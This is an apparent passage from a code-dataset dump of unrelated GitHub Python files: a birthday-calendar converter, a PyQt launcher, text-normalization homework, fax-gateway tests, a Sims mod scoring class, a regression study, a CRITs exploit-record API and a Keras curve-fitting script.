str\n This function is reading all contacts from simple contacts app .vcf format and converts is as array\n \"\"\"\n names=[] # array\n readLines=open(file).readlines() # convert it to line arrays\n for line in readLines:\n if(line.find(\"FN\") > -1 ): # found fn in .vcr fn mean begin string where username is writen\n name=(line.replace(\"FN:\",\"\")) # remove FN: header\n if(name!=\"\"): # check is name not emptry\n names.append(name.rstrip()) # append to array and strip name to delete all grababe such next lines etc\n return names # return value\n\n\ndef get_names_from_insta(file:str):\n \"\"\"\n file: str\n This function is reading .html file from insta export and gets an names.\n \"\"\"\n names=[] # array\n file=open(file).read() # open file ,but not as array\n soup = BeautifulSoup(file, 'html.parser') # make bs4 instance and run html.parser\n blog_titles = soup.findAll('div', attrs={\"class\":\"pam _3-95 _2ph- _a6-g uiBoxWhite noborder\"}) # find all div`s with setted class`\n for title in blog_titles: # go through all got div`s`\n names.append(title.text) # write each one to array\n return names # return value\n\n\ndef generate_xlsx_file(names,xlsx):\n \"\"\"\n names: array[]\n this function take array of names an writes them in .xlsx file\n \"\"\"\n book = xlwt.Workbook() # create exel workbook\n sh = book.add_sheet(\"Дни рождения\") # cleate an new sheet\n sh.write(0,0,\"Имя или никнейм человека\") # in first arroy write an what it means\n sh.write(0,1,\"его день рождения\")# in second arroy write an what it means\n counter=0 # make counter\n for name in names: # go throught all names in list\n sh.write(counter+1,0,name) # write in excel table \n counter=counter+1 # update counter\n book.save(xlsx) # save excel file\npass\ndef create_calendar(file_path:str,ics:str)->None:\n \"\"\"\n This function reads data from an excel sheet, creates events for birthdays and saves the calendar in ics format.\n\n :param file_path: path of the excel sheet\n :type file_path: str\n :return: None\n\n \"\"\"\n\n # Initializing the Calendar\n c = Calendar()\n\n # Loading the workbook\n data_frame = pd.read_excel(file_path)\n # Iterating through the names list\n for a in range(0,len(data_frame['Имя или никнейм человека'])):\n try:\n # Creating a new Event\n e = Event()\n # Assigning the name of the event as \"День рождения у \"\n e.name = f\"День рождения у {data_frame['Имя или никнейм человека'][a]}\"\n # Converting the date string to datetime object\n date_object = datetime.datetime.strptime(data_frame['его день рождения'][a], '%d.%m.%y')\n # Assigning the start and end time of the event\n e.begin = date_object\n e.end = date_object+ relativedelta(hours = 2)\n # Adding the event to the Calendar\n c.events.add(e)\n except Exception as inst:\n print(inst)\n\n # Saving the Calendar in ics format\n with open(ics, 'w') as my_file:\n my_file.writelines(c.serialize_iter())\n\n \n\ndef main():\n \"\"\"\n This function is the entry point of the program. It calls other functions based on the command line arguments provided.\n his code snippet is using the sys.argv list to extract command-line arguments that were passed to the script. sys.argv[2] is the third argument passed to the script, sys.argv[3] is the fourth argument passed to the script.\n\nIt then calls two functions get_names_from_vcf(vcr) and get_names_from_insta(html) with the extracted arguments, these functions may read and parse the contents of the files passed as arguments and extract names from them.\n\nThe variable names_vcf will contain a list of names extracted from the file passed as the third argument to the script.\nThe variable names_html will contain a list of names extracted from the file passed as the fourth argument to the script.\n\nThen it concatenate both lists names_vcf and names_html and store it in variable together\n\nFinally, it uses the set() function to convert together into a set and then back into a list, which will remove any duplicate names and store the result in the together variable.\n \n \"\"\"\n\n if(len(sys.argv)<2):\n print(\"This program expects the following keys to be provided while running:\")\n print(\"--convert: To convert the contact.vcf and index.html files from resources directory to xlsx file\")\n print(\"--to_calendar: To convert the xlsx file to ics file\")\n print(\"Example usage: python --convert contact.vcf index.html contact.xlsx\")\n print(\"or for convert option\")\n print(\"This program expects the following key to be provided while running:\")\n print(\"--to_calendar: To convert the xlsx file to ics file\")\n print(\"Example usage: python --to_calendar contact.xlsx\")\n sys.exit(0)\n\n\n if(sys.argv[1]==\"--convert\"):\n print(\"Put two .vcf file and .html from instagram export and put in in resources dir and call them as contact.vcf and index.html\")\n vcr=sys.argv[2]\n html=sys.argv[3]\n xlsx=sys.argv[4]\n names_vcf=get_names_from_vcf(vcr)\n names_html=get_names_from_insta(html)\n together=names_vcf+names_html\n together = list(set(together))\n #print(f\"len_1:{len(names_vcf)},len_2:{len(names_html)},len_3:{len(together)}\")\n generate_xlsx_file(together,xlsx)\n if(sys.argv[1]==\"--to_calendar\"):\n file_path=sys.argv[2]\n ics=sys.argv[3]\n create_calendar(file_path,ics)\n\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"alex5250/convert_birthdays","sub_path":"contacts_to_birthdays/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7235,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"42808759446","text":"import sys\n\nfrom PyQt5.QtWidgets import QApplication\nfrom src.common.widgets.splashscreen.zvisplashscreen import SplashScreen\n\ntry:\n _encoding = QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QApplication.translate(context, text, disambig)\n\n\ndef except_hook(cls, exception, traceback):\n sys.__excepthook__(cls, exception, traceback)\n\n\ndef main():\n from PyQt5 import QtWebEngineWidgets\n import warnings\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n sys.excepthook = except_hook\n app = QApplication(sys.argv)\n app.setStyle(\"Fusion\")\n splash = SplashScreen()\n splash.showMessage(\"Importing dependencies...\")\n from src.common.windows.zviapp import ZVIApp\n splash.showMessage(\"Initializing graphical user interface...\")\n window = ZVIApp()\n splash.close()\n sys.exit(app.exec())\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"David52920/zviapp","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"71652689922","text":"# homEwork:\n# \ttHis iz your homeWork, copy these Text to variable.\n#\n# \tYou NEED TO normalize it fROM letter CASEs point oF View. also, create one MORE senTENCE witH LAST WoRDS of each existING SENtence and add it to the END OF this Paragraph.\n#\n# \tit iZ misspeLLing here. fix“iZ” with correct “is”, but ONLY when it Iz a mistAKE.\n#\n# \tlast iz TO calculate nuMber OF Whitespace characteRS in this Text. caREFULL, not only Spaces, but ALL whitespaces. I got 87.\n\n# importing regular expressions module\nimport re\n\n\n# assigning to a variable source string with the task\nsource = '''homEwork:\n\ttHis iz your homeWork, copy these Text to variable.\n\tYou NEED TO normalize it fROM letter CASEs point oF View. also, create one MORE senTENCE witH LAST WoRDS of each existING SENtence and add it to the END OF this Paragraph.\n\tit iZ misspeLLing here. fix“iZ” with correct “is”, but ONLY when it Iz a mistAKE.\n\tlast iz TO calculate nuMber OF Whitespace characteRS in this Text. caREFULL, not only Spaces, but ALL whitespaces. I got 87.'''\n\n# Convert the source text to lowercase\nlower_source = source.lower()\n\n# Define a regex pattern to split the text into sentences ('.','?' or '!' at the end of sentece, followed whitespaces\n# or new_line, followed by new word. i.e. end of every sentence\npattern = r'([\\.\\?!]\\s*)(\\w+)'\nsentences = re.split(pattern, lower_source)\n\n# Initialize a variable to store the normalized source text\nnormalized_source = \"\"\n\n# Capitalize the first letter of each sentence and append to normalized_source\nfor sentence in sentences:\n normalized_source += sentence.capitalize()\n\n# Count the number of whitespace characters in the original source text\nspace_count_initial = len(re.findall(r'\\s', source))\n\n# Define a regex pattern to find the last word in each sentence\npattern_last_word = r'(\\s(\\w+)[\\.\\?!])'\n\n# Find the last words in each sentence and store them in new_words\nnew_words = re.findall(pattern_last_word, normalized_source)\n\n# Create a new line by joining the last words and capitalize it\nnew_line = ''.join(word[1] + ' ' for word in new_words)\nnew_line_cap = new_line.capitalize()\n\n# Define a pattern to find the position to insert the new line\npar_pattern = r'add it to the end of this paragraph.'\n\n# Find the index to insert the new line\ninsert_index = normalized_source.find(par_pattern) + len(par_pattern)\n\n# Split the text before and after the insertion point\ntext_before_insert = normalized_source[:insert_index]\ntext_after_insert = normalized_source[insert_index:]\n\n# Insert the new line after the specified pattern\nnew_text = text_before_insert + f' {new_line_cap}' + text_after_insert\n\n# Replace \"iz\" with \"is\" where it is necessary\nnew_text_iz_fixed = re.sub(r'\\b(iz)\\b', 'is', new_text)\n\n# Calculate the number of all whitespace characters in the modified text\nspace_count = len(re.findall(r'\\s', new_text_iz_fixed))\n\n# Printing normalized text and the number of whitespace characters\nprint(f\"Text with new line and normalized cases:\\n {new_text_iz_fixed}\")\nprint(f\"Number of whitespaces: {space_count}\")","repo_name":"georginus/DQE_Python","sub_path":"Python DQE run 8 (mentor)/Philip Volkovich/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"31188104708","text":"import json\n\nfrom freezegun import freeze_time # type: ignore\n\nfrom .messages import Fax, FaxStatus, Webhook, WebhookPayload\n\n\ndef test_fax():\n # load\n assert (\n Fax.json_loads(\n \"\"\"\n {\n \"fax_id\": \"a\",\n \"to\": \"b\",\n \"pdf_url\": \"c\",\n \"callback_url\": \"d\",\n \"retry_count\": 5\n }\n \"\"\"\n )\n == Fax(fax_id=\"a\", to=\"b\", pdf_url=\"c\", callback_url=\"d\", retry_count=5)\n )\n\n # load, default retry count\n assert (\n Fax.json_loads(\n \"\"\"\n {\n \"fax_id\": \"a\",\n \"to\": \"b\",\n \"pdf_url\": \"c\",\n \"callback_url\": \"d\"\n }\n \"\"\"\n )\n == Fax(fax_id=\"a\", to=\"b\", pdf_url=\"c\", callback_url=\"d\", retry_count=0)\n )\n\n # dump\n assert json.loads(\n Fax(\n fax_id=\"a\", to=\"b\", pdf_url=\"c\", callback_url=\"d\", retry_count=5\n ).json_dumps()\n ) == {\n \"fax_id\": \"a\",\n \"to\": \"b\",\n \"pdf_url\": \"c\",\n \"callback_url\": \"d\",\n \"retry_count\": 5,\n }\n\n # symmetry\n fax = Fax(fax_id=\"a\", to=\"b\", pdf_url=\"c\", callback_url=\"d\", retry_count=5)\n assert fax == Fax.json_loads(fax.json_dumps())\n\n\n@freeze_time(\"2012-01-14 05:06:07 UTC\")\ndef test_webhook():\n now = 1326517567\n\n # load\n assert (\n Webhook.json_loads(\n \"\"\"\n {\n \"callback_url\": \"a\",\n \"payload\": {\n \"fax_id\": \"b\",\n \"status\": \"sent\",\n \"message\": \"c\",\n \"timestamp\": 1590590198\n }\n }\n \"\"\"\n )\n == Webhook(\n callback_url=\"a\",\n payload=WebhookPayload(\n fax_id=\"b\", status=FaxStatus.SENT, message=\"c\", timestamp=1590590198\n ),\n )\n )\n\n # load, default timestamp\n assert (\n Webhook.json_loads(\n \"\"\"\n {\n \"callback_url\": \"a\",\n \"payload\": {\n \"fax_id\": \"b\",\n \"status\": \"tmp_fail\",\n \"message\": \"c\"\n }\n }\n \"\"\"\n )\n == Webhook(\n callback_url=\"a\",\n payload=WebhookPayload(\n fax_id=\"b\",\n status=FaxStatus.TEMPORARY_FAILURE,\n message=\"c\",\n timestamp=now,\n ),\n )\n )\n\n # dump\n assert json.loads(\n Webhook(\n callback_url=\"a\",\n payload=WebhookPayload(\n fax_id=\"b\", status=FaxStatus.PERMANENT_FAILURE, message=\"c\"\n ),\n ).json_dumps()\n ) == {\n \"callback_url\": \"a\",\n \"payload\": {\n \"fax_id\": \"b\",\n \"status\": \"perm_fail\",\n \"message\": \"c\",\n \"timestamp\": now,\n },\n }\n\n # symmetry\n webhook = Webhook(\n callback_url=\"a\",\n payload=WebhookPayload(\n fax_id=\"b\", status=FaxStatus.SENT, message=\"c\", timestamp=1590590198\n ),\n )\n assert webhook == Webhook.json_loads(webhook.json_dumps())\n","repo_name":"vote/fax_gateway","sub_path":"app/helpers/messages_test.py","file_name":"messages_test.py","file_ext":"py","file_size_in_byte":3223,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"98"} +{"seq_id":"17175418579","text":"from event_testing.test_based_score import TestBasedScore\nfrom interactions import ParticipantType\nfrom sims4.sim_irq_service import yield_to_irq\nfrom wickedwhims.main.sim_ev_handler import sim_ev\nfrom wickedwhims.sex.relationship_handler import get_test_relationship_score\n\nclass RelationshipSexTestBasedScore(TestBasedScore):\n __qualname__ = 'RelationshipSexTestBasedScore'\n\n @classmethod\n def _verify_tuning_callback(cls):\n pass\n\n @classmethod\n def get_score(cls, resolver):\n yield_to_irq()\n sim = resolver.get_participant(ParticipantType.Actor)\n target = resolver.get_participant(ParticipantType.TargetSim) or resolver.get_participant(ParticipantType.Listeners)\n if sim is None or target is None:\n return 0\n pre_sex_handler = sim_ev(sim).active_pre_sex_handler\n if pre_sex_handler is not None and pre_sex_handler.is_failure_sex():\n return 0\n if pre_sex_handler is not None and pre_sex_handler.is_success_sex():\n return 1000\n return get_test_relationship_score((sim, target))\n\n","repo_name":"Abbie4/WickedWhims-lol-update","sub_path":"My Script Mods/WickedWhims_Scripts/Scripts/wickedwhims/sex/_ts4_relationship_tests.py","file_name":"_ts4_relationship_tests.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"5369761824","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport statsmodels.api as sm\nimport scipy.stats as scs\nfrom pandas.plotting import scatter_matrix\n\n'''Question 1 - 3'''\ndf = pd.read_csv('data/balance.csv')\ndef scatter_m(data):\n scatter_matrix(data, alpha=0.6, figsize=(6,6), diagonal='kde')\n\nscatter_m(df[['Income', 'Limit', 'Rating', 'Cards', 'Age', 'Education', 'Gender',\n 'Student', 'Married', 'Ethnicity', 'Balance']])\nplt.savefig('balance_scatter_matrix')\nplt.show()\n\ndf.head()\n''' Unnamed: 0 Income Limit Rating Cards Age Education Gender Student \\\n0 1 14.891 3606 283 2 34 11 Male No\n1 2 106.025 6645 483 3 82 15 Female Yes\n2 3 104.593 7075 514 4 71 11 Male No\n3 4 148.924 9504 681 3 36 11 Female No\n4 5 55.882 4897 357 2 68 16 Male No\n\n Married Ethnicity Balance\n0 Yes Caucasian 333\n1 Yes Asian 903\n2 No Asian 580\n3 No Asian 964\n4 Yes Caucasian 331\n'''\n\ndf_gender = pd.get_dummies(df['Gender'])\n#df_gender.drop('Male', axis=1, inplace=True)\n\ndf_student = pd.get_dummies(df['Student'], prefix='Student')\ndf_married = pd.get_dummies(df['Married'], prefix='Married')\ndf_eth = pd.get_dummies(df['Ethnicity'])\ndf_new = pd.concat([df, df_gender, df_student, df_married, df_eth], axis=1)\ndf_new.drop(['Gender', 'Student', 'Married', 'Ethnicity', 'African American',\n 'Student_No', 'Married_No'],\n axis=1, inplace=True)\ndf_new = df_new.applymap(np.int)\n\n'''Question 4'''\nx = df_new[['Income', 'Limit', 'Rating', 'Cards', 'Age', 'Education',\n 'Female', 'Student_Yes', 'Married_Yes', 'Asian', 'Caucasian']].astype(float)\nresult = sm.OLS(df_new['Balance'], sm.add_constant(x)).fit()\n\nresult.summary()\n# \n\"\"\"\n OLS Regression Results\n==============================================================================\nDep. Variable: Balance R-squared: 0.955\nModel: OLS Adj. R-squared: 0.954\nMethod: Least Squares F-statistic: 749.9\nDate: Tue, 14 Nov 2017 Prob (F-statistic): 1.23e-253\nTime: 22:58:35 Log-Likelihood: -2398.8\nNo. Observations: 400 AIC: 4822.\nDf Residuals: 388 BIC: 4869.\nDf Model: 11\nCovariance Type: nonrobust\n===============================================================================\n coef std err t P>|t| [0.025 0.975]\n-------------------------------------------------------------------------------\nconst -483.7704 35.803 -13.512 0.000 -554.163 -413.378\nIncome -7.7937 0.234 -33.302 0.000 -8.254 -7.334\nLimit 0.1903 0.033 5.804 0.000 0.126 0.255\nRating 1.1427 0.491 2.327 0.020 0.177 2.108\nCards 17.7790 4.342 4.095 0.000 9.242 26.316\nAge -0.6126 0.294 -2.083 0.038 -1.191 -0.034\nEducation -1.0304 1.598 -0.645 0.520 -4.173 2.112\nFemale -10.6962 9.917 -1.079 0.281 -30.193 8.801\nStudent_Yes 425.4984 16.727 25.438 0.000 392.612 458.385\nMarried_Yes -8.3440 10.366 -0.805 0.421 -28.724 12.036\nAsian 16.2895 14.123 1.153 0.249 -11.477 44.056\nCaucasian 10.0089 12.213 0.820 0.413 -14.003 34.021\n==============================================================================\nOmnibus: 35.031 Durbin-Watson: 1.965\nProb(Omnibus): 0.000 Jarque-Bera (JB): 41.958\nSkew: 0.784 Prob(JB): 7.74e-10\nKurtosis: 3.242 Cond. No. 3.87e+04\n==============================================================================\n\nWarnings:\n[1] Standard Errors assume that the covariance matrix of the errors is correctly specified.\n[2] The condition number is large, 3.87e+04. This might indicate that there are\nstrong multicollinearity or other numerical problems.\n\"\"\"\n\nmodel_res = result.outlier_test()['student_resid']\nbalance_pred = result.predict(sm.add_constant(x))\n\nplt.scatter(balance_pred, model_res, color='b', alpha=0.6, edgecolor=None)\nplt.axhline(0, color='r', linestyle='dashed')\nplt.xlabel('Predicted Balance', fontsize=10, weight='bold')\nplt.ylabel('Studentized Residuals', fontsize=10, weight='bold')\nplt.xlim(-500, 2000)\nplt.ylim(-4,5)\nplt.tight_layout()\nplt.savefig('residual_balance')\nplt.show()\n\n'''Question 5'''\nplt.hist(df['Balance'], bins=100, normed=1)\nplt.xlabel('Balance', weight=20)\nplt.ylabel('Probablity Density', weight=20)\nplt.savefig('balance_histogram')\nplt.show()\n\n'''Question 6'''\nfeatures = ['Income', 'Limit', 'Rating', 'Cards', 'Age', 'Education',\n 'Female', 'Student_Yes', 'Married_Yes', 'Asian', 'Caucasian']\n\nfor f in features:\n df.plot(kind='scatter', y='Balance', x=f, edgecolor='none',\n figsize=(12, 5))\n plt.show()\n\n'''Limit and Rating affect zero-Balance and non-zero-Balance'''\ndf.plot(kind='scatter', y='Balance', x='Limit', edgecolor='none',\n figsize=(12, 5))\nplt.savefig('balance_limit')\nplt.show()\n\ndf.plot(kind='scatter', y='Balance', x='Rating', edgecolor='none',\n figsize=(12, 5))\nplt.savefig('balace_rating')\nplt.show()\n\n'''Question 7'''\n'''Decision: Limit >= 3000 & Rating >= 220'''\n\n'''Question 8: Remove the data points below the decided threshold of your chosen\nvariable and examine the number of zero observations that remain.'''\n'''Cleaning zero balances'''\nmask_limit = df_new['Limit'] >= 3000\nmask_rating = df_new['Rating'] >= 220\n# df_new['Balance'][(df_new['Limit'] >= 3000) & (df_new['Rating'] >= 220)]\ndf_step2 = df_new.query('Limit >= 3000 and Rating >= 220')\n\n''' Unnamed: 0 Income Limit Rating Cards \\\ncount 303.000000 303.000000 303.000000 303.000000 303.000000\nmean 201.551155 51.468647 5590.574257 412.108911 2.986799\nstd 117.585575 37.743622 1973.883212 132.793987 1.418827\nmin 1.000000 10.000000 3000.000000 224.000000'''\n\n\n'''Question 9'''\nx2 = df_step2[['Income', 'Limit', 'Rating', 'Cards', 'Age', 'Education',\n 'Female', 'Student_Yes', 'Married_Yes', 'Asian', 'Caucasian']].astype(float)\nresult2 = sm.OLS(df_step2['Balance'], sm.add_constant(x2)).fit()\nresult2.summary()\n\n# \n\"\"\"\n OLS Regression Results\n==============================================================================\nDep. Variable: Balance R-squared: 0.996\nModel: OLS Adj. R-squared: 0.995\nMethod: Least Squares F-statistic: 5939.\nDate: Tue, 14 Nov 2017 Prob (F-statistic): 0.00\nTime: 23:35:03 Log-Likelihood: -1437.9\nNo. Observations: 303 AIC: 2900.\nDf Residuals: 291 BIC: 2944.\nDf Model: 11\nCovariance Type: nonrobust\n===============================================================================\n coef std err t P>|t| [0.025 0.975]\n-------------------------------------------------------------------------------\nconst -665.6484 12.057 -55.211 0.000 -689.377 -641.919\nIncome -9.5495 0.076 -126.276 0.000 -9.698 -9.401\nLimit 0.3144 0.011 29.221 0.000 0.293 0.336\nRating 0.0367 0.160 0.230 0.819 -0.278 0.351\nCards 25.1984 1.371 18.382 0.000 22.500 27.896\nAge -1.0907 0.097 -11.251 0.000 -1.282 -0.900\nEducation 0.0185 0.521 0.035 0.972 -1.008 1.045\nFemale -2.3982 3.280 -0.731 0.465 -8.853 4.057\nStudent_Yes 493.6077 5.578 88.494 0.000 482.630 504.586\nMarried_Yes -3.8309 3.458 -1.108 0.269 -10.636 2.974\nAsian 3.6271 4.707 0.771 0.442 -5.637 12.891\nCaucasian 0.0699 4.015 0.017 0.986 -7.833 7.973\n==============================================================================\nOmnibus: 326.813 Durbin-Watson: 1.912\nProb(Omnibus): 0.000 Jarque-Bera (JB): 13009.221\nSkew: 4.642 Prob(JB): 0.00\nKurtosis: 33.729 Cond. No. 4.42e+04\n==============================================================================\n\nWarnings:\n[1] Standard Errors assume that the covariance matrix of the errors is correctly specified.\n[2] The condition number is large, 4.42e+04. This might indicate that there are\nstrong multicollinearity or other numerical problems.\n\"\"\"\n\n'''residual plot'''\nmodel_res2 = result2.outlier_test()['student_resid']\nbalance_pred2 = result2.predict(sm.add_constant(x2))\n\nplt.scatter(balance_pred2, model_res2, color='b', alpha=0.6, edgecolor=None)\nplt.axhline(0, color='r', linestyle='dashed')\nplt.xlabel('Predicted Balance', fontsize=10, weight='bold')\nplt.ylabel('Studentized Residuals', fontsize=10, weight='bold')\nplt.xlim(-500, 2500)\nplt.ylim(-6,6)\nplt.tight_layout()\nplt.savefig('selected_residual_balance')\nplt.show()\n","repo_name":"vickyjkwan/statistical_learning","sub_path":"linear_regression/src/linear_regression_case_study.py","file_name":"linear_regression_case_study.py","file_ext":"py","file_size_in_byte":10194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"73763017921","text":"try:\n from django.urls import reverse\nexcept ImportError:\n from django.core.urlresolvers import reverse\nfrom tastypie import authorization\nfrom tastypie.authentication import MultiAuthentication\n\nfrom crits.exploits.exploit import Exploit\nfrom crits.exploits.handlers import add_new_exploit\nfrom crits.core.api import CRITsApiKeyAuthentication, CRITsSessionAuthentication\nfrom crits.core.api import CRITsSerializer, CRITsAPIResource\n\nfrom crits.vocabulary.acls import ExploitACL\n\nclass ExploitResource(CRITsAPIResource):\n \"\"\"\n Class to handle everything related to the Exploit API.\n\n Currently supports GET and POST.\n \"\"\"\n\n class Meta:\n object_class = Exploit\n allowed_methods = ('get', 'post', 'patch')\n resource_name = \"exploits\"\n ordering = (\"name\", \"cve\", \"description\", \"modified\", \"status\", \"id\")\n authentication = MultiAuthentication(CRITsApiKeyAuthentication(),\n CRITsSessionAuthentication())\n authorization = authorization.Authorization()\n serializer = CRITsSerializer()\n\n def get_object_list(self, request):\n \"\"\"\n Use the CRITsAPIResource to get our objects but provide the class to get\n the objects from.\n\n :param request: The incoming request.\n :type request: :class:`django.http.HttpRequest`\n :returns: Resulting objects in the specified format (JSON by default).\n\n \"\"\"\n\n return super(ExploitResource, self).get_object_list(request, Exploit)\n\n def obj_create(self, bundle, **kwargs):\n \"\"\"\n Handles creating Exploits through the API.\n\n :param bundle: Bundle containing the information to create the Exploit.\n :type bundle: Tastypie Bundle object.\n :returns: HttpResponse object.\n \"\"\"\n\n user = bundle.request.user\n data = bundle.data\n name = data.get('name', None)\n cve = data.get('cve', '')\n description = data.get('description', None)\n source = data.get('source', None)\n reference = data.get('reference', None)\n method = data.get('method', None)\n tlp = data.get('tlp', 'amber')\n campaign = data.get('campaign', None)\n confidence = data.get('confidence', None)\n bucket_list = data.get('bucket_list', None)\n ticket = data.get('ticket', None)\n\n if user.has_access_to(ExploitACL.WRITE):\n result = add_new_exploit(name,\n cve,\n description=description,\n source=source,\n source_method=method,\n source_reference=reference,\n source_tlp=tlp,\n campaign=campaign,\n confidence=confidence,\n user=user,\n bucket_list=bucket_list,\n ticket=ticket)\n else:\n result = {'success':False,\n 'message':'User does not have permission to create Object.'}\n\n content = {'return_code': 0,\n 'type': 'Exploit',\n 'message': result.get('message', ''),\n 'id': result.get('id', '')}\n if result.get('id'):\n url = reverse('api_dispatch_detail',\n kwargs={'resource_name': 'exploits',\n 'api_name': 'v1',\n 'pk': result.get('id')})\n content['url'] = url\n if not result['success']:\n content['return_code'] = 1\n self.crits_response(content)\n","repo_name":"crits/crits","sub_path":"crits/exploits/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3777,"program_lang":"python","lang":"en","doc_type":"code","stars":866,"dataset":"github-code","pt":"98"} +{"seq_id":"22080281245","text":"'''Trains a simple convnet on the MNIST dataset.\nGets to 99.25% test accuracy after 12 epochs\n(there is still a lot of margin for parameter tuning).\n16 seconds per epoch on a GRID K520 GPU.\n'''\n\nfrom __future__ import print_function\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.append('../')\n# from model.ModelUtil import *\nimport itertools\nfrom keras.models import Sequential\nfrom keras.optimizers import SGD\nfrom keras.layers.core import Dense, Dropout, Activation\nimport random\nimport example\n\nnp.random.seed(1337) # for reproducibility\n\ndef f(x):\n return (math.cos(x)-0.75)*(math.sin(x)+0.75)\n\nif __name__ == '__main__':\n batch_size = 32\n nb_epoch = 10\n \n function = example.Function()\n\n state_bounds = np.array([[0.0],[5.0]])\n action_bounds = np.array([[-4.0],[2.0]])\n function.setStateBounds(state_bounds)\n function.setActionBounds(action_bounds)\n experience_length = 200\n batch_size=32\n # states = np.repeat(np.linspace(0.0, 5.0, experience_length),2, axis=0)\n states = np.linspace(0.0, 5.0, experience_length)\n states = np.reshape(states, (len(states), 1))\n shuffle = range(experience_length)\n states = states[shuffle]\n # random.shuffle(shuffle)\n print (\"States: \" , states)\n old_states = states\n norm_states=[]\n norm_states = list(map(function.norm_state, states))\n X_test = X_train = norm_states\n \n # states = np.linspace(-5.0,-2.0, experience_length/2)\n # states = np.append(states, np.linspace(-1.0, 5.0, experience_length/2))\n # print states\n # actions = np.array(map(fNoise, states))\n actions = np.reshape(np.array(list(map(function.func, states))), (len(states), 1))\n # actions = actions[shuffle]\n print (\"Actions: \", actions)\n norm_actions = np.array(list(map(function.norm_action, actions)))\n y_train = y_test = norm_actions\n settings = {}\n print(\"X_test:\", X_test)\n print(\"Y_test:\", y_test)\n \n model = Sequential()\n # 2 inputs, 10 neurons in 1 hidden layer, with tanh activation and dropout\n model.add(Dense(128, init='uniform', input_shape=(1,))) \n model.add(Activation('relu'))\n model.add(Dense(64, init='uniform')) \n model.add(Activation('relu'))\n # 1 output, linear activation\n model.add(Dense(1, init='uniform'))\n model.add(Activation('linear'))\n \n sgd = SGD(lr=0.01, momentum=0.9)\n print (\"Clipping: \", sgd.decay)\n model.compile(loss='mse', optimizer=sgd)\n \n from keras.callbacks import EarlyStopping\n # early_stopping = EarlyStopping(monitor='val_loss', patience=2)\n \n errors=[]\n \n score = model.fit(X_train, y_train,\n nb_epoch=156, batch_size=32,\n validation_data=(X_test, y_test)\n # callbacks=[early_stopping],\n )\n \n errors.extend(score.history['loss'])\n \n \n print (\"Score: \" , errors)\n \n \n states = (np.linspace(-1.0, 6.0, experience_length))\n states = np.reshape(states, (len(states), 1))\n norm_states = np.array(list(map(function.norm_state, states)))\n # norm_states = ((states - 2.5)/3.5)\n # predicted_actions = np.array(map(model.predict, states))\n \n # x=np.transpose(np.array([states]))\n \n # print (\"States: \" , x)\n norm_predicted_actions = np.array(model.predict(norm_states, batch_size=200, verbose=0), dtype='float64')\n norm_predicted_actions = np.reshape(norm_predicted_actions, (len(states), 1))\n print (\"norm_predicted_actions[0]: \", norm_predicted_actions[0])\n p_a = function.scale_action(norm_predicted_actions[0])\n print (\"norm_predicted_actions: \", norm_predicted_actions)\n predicted_actions = np.array(list(map(function.scale_action, norm_predicted_actions)))\n predicted_actions = np.reshape(predicted_actions, (len(states), 1))\n # print (\"Prediction: \", predicted_actions)\n \n # print \"var : \" + str(predicted_actions_var)\n # print \"act : \" + str(predicted_actions)\n \n \n std = 1.0\n # _fig, (_bellman_error_ax, _reward_ax, _discount_error_ax) = plt.subplots(1, 1, sharey=False, sharex=True)\n _fig, (_bellman_error_ax, _training_error_ax) = plt.subplots(1, 2, sharey=False, sharex=False)\n _bellman_error, = _bellman_error_ax.plot(old_states, actions, linewidth=2.0, color='y', label=\"True function\")\n # _bellman_error, = _bellman_error_ax.plot(states, predicted_actions_dropout, linewidth=2.0, color='r', label=\"Estimated function with dropout\")\n _bellman_error, = _bellman_error_ax.plot(states, predicted_actions, linewidth=2.0, color='g', label=\"Estimated function\")\n # _bellman_error, = _bellman_error_ax.plot(states, actionsNoNoise, linewidth=2.0, label=\"True function\")\n \n \n # _bellman_error_std = _bellman_error_ax.fill_between(states, predicted_actions - predicted_actions_var,\n # predicted_actions + predicted_actions_var, facecolor='green', alpha=0.5)\n # _bellman_error_std = _bellman_error_ax.fill_between(states, lower_var, upper_var, facecolor='green', alpha=0.5)\n # _bellman_error_ax.set_title(\"True function\")\n _bellman_error_ax.set_ylabel(\"function value: f(x)\")\n _bellman_error_ax.set_xlabel(\"x\")\n # Now add the legend with some customizations.\n legend = _bellman_error_ax.legend(loc='lower right', shadow=True)\n _bellman_error_ax.set_title(\"Predicted curves\")\n _bellman_error_ax.grid(b=True, which='major', color='black', linestyle='-')\n _bellman_error_ax.grid(b=True, which='minor', color='g', linestyle='--')\n \n \n \"\"\"\n _reward, = _reward_ax.plot([], [], linewidth=2.0)\n _reward_std = _reward_ax.fill_between([0], [0], [1], facecolor='blue', alpha=0.5)\n _reward_ax.set_title('Mean Reward')\n _reward_ax.set_ylabel(\"Reward\")\n _discount_error, = _discount_error_ax.plot([], [], linewidth=2.0)\n _discount_error_std = _discount_error_ax.fill_between([0], [0], [1], facecolor='blue', alpha=0.5)\n _discount_error_ax.set_title('Discount Error')\n _discount_error_ax.set_ylabel(\"Absolute Error\")\n plt.xlabel(\"Iteration\")\n \"\"\"\n _title = \"Training function\"\n _fig.suptitle(_title, fontsize=18)\n \n _fig.set_size_inches(8.0, 4.5, forward=True)\n # er = plt.figure(2)\n _training_error_ax.plot(range(len(errors)), errors)\n 